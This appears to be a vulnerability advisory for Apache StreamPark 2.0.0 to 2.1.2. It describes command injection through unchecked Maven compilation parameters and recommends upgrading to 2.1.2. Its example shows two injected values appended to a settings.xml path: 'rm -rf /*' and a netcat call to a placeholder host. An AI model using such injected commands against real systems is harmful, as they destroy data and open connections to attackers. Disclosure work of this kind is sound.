In streampark, there is a project module that integrates Mavenβs compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Mitigation:
all usersΒ should upgrade to 2.1.2
Example:
##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use β||β or β&&β:
/usr/share/java/maven-3/conf/settings.xml || rm -rf /*
/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
CPE | Name | Operator | Version |
---|---|---|---|
streampark | ge | 2.0.0 | |
streampark | lt | 2.1.2 |